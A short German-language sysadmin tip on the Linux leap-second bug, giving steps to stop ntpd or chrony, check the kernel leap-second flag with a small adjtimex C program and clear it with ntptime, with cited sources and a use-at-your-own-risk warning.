FIX: date -s "$(LC_ALL=C date)" <- Date neusetzen ....
Quelle: http://www.heise.de/open/meldung/Schaltsekunden-Bug-in-Linux-verschwendet-Strom-1631325.html

Wer vorsichtig ist und noch ein betroffenes System hat, kann folgendes tun:
1. Stoppt den ntpd oder chrony für heute Nacht
2. Prüft ob im Kernel das Leap Second Flag gesetzt ist. z.B.: mit dem checkleap.c Code siehe CodeBlock
3. Setzt das Flag falls vorhanden zurück z.B. mit: ntptime -s 0
Quelle: https://access.redhat.com/articles/199563
4. ntpd oder chrony morgens wieder starten

checkleap.c (compile with gcc checkleap.c ... run with ./a.out)

#include <sys/timex.h>
#include <stdio.h>

int main(int argc, char **argv)
{

    struct timex buf;
    int res;

    buf.modes = 0;

    res = adjtimex(&buf);
    if(res < 0) {
        perror("Error calling adjtimex");
        return 1;
    }

    printf("clock status: %i\n", res);
    return 0;
}

Kurzinfo zu den Rückgabewerten:

#define TIME_OK   0 /* clock synchronized */
#define TIME_INS  1 /* insert leap second */
#define TIME_DEL  2 /* delete leap second */
#define TIME_OOP  3 /* leap second in progress */
#define TIME_WAIT 4 /* leap second has occurred */
#define TIME_BAD  5 /* clock not synchronized */

Quelle: http://stackoverflow.com/questions/26202730/how-to-find-out-if-the-linux-kernel-will-insert-a-leap-second-at-the-end-of-the

!!!Nutzung auf eigene Gefahr!!!

...SYSTEM UPDATEN ist meist doch ALTERNATIVLOS ...

#linux #leapsecond #leap #ntp #chrony #freeze #schaltsekunde